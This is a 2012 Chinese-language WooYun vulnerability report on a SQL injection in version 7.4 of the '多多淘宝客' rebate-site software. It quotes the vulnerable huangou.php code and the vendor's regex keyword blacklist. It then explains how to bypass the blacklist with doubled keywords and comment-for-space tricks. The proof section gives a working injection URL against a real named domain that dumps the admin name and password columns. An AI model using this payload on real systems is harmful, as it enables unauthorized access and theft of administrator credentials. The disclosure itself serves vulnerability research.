当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-05439

漏洞标题:多多淘宝客7.4 SQL注射绕过漏洞

相关厂商:多多返利淘宝客程序

漏洞作者: 牛奶坦克

提交时间:2012-03-21 13:43

修复时间:2012-03-21 13:43

公开时间:2012-03-21 13:43

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-03-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看到之前有人发多多这个程序的注入
http://www.wooyun.org/bugs/wooyun-2010-04024
看了源码,几乎是赤裸裸的注射啊:
$id =$_GET['id'];
$good=sel_sql('dhlist','id,name,pic,money,jifen,num,content,num','id='.$id);
有木有,有木有啊!!看到网上说多多又暴了漏洞,下了20号之前的代码看了一会,发现很有意思,反映出了一个很严重的问题,供大家借鉴。

详细说明:

下了7.4 3月20号之前的代码,注入确实没修,还是huangou.php
$id =$_GET['id'];
$good=sel_sql('dhlist','id,name,pic,money,jifen,num,content,num','id='.$id);
但是测试环境为啥射不了呢,在仔细看代码,原来多了个包含
include_once 'comm/checkpostandget.php';
这个文件内容是啥捏

$ArrFiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);


真是个奇葩啊,原来不专心修漏洞,而是搞了个get和post数组的全局过滤函数,但是您不觉得有很多问题吗?先不说是否来源和目标都完整,单独是这个逻辑就有很大问题。

漏洞证明:

关键字例如:union,变成uniounionn就行了,空格嘛用/**/好了。
http://www.17sqy.com/huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/0,1,2,adminname,adminpass,5,6,7/**/from/**/duoduo_duoduo2010

修复方案:

您应该懂了。

版权声明:转载请注明来源 牛奶坦克@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝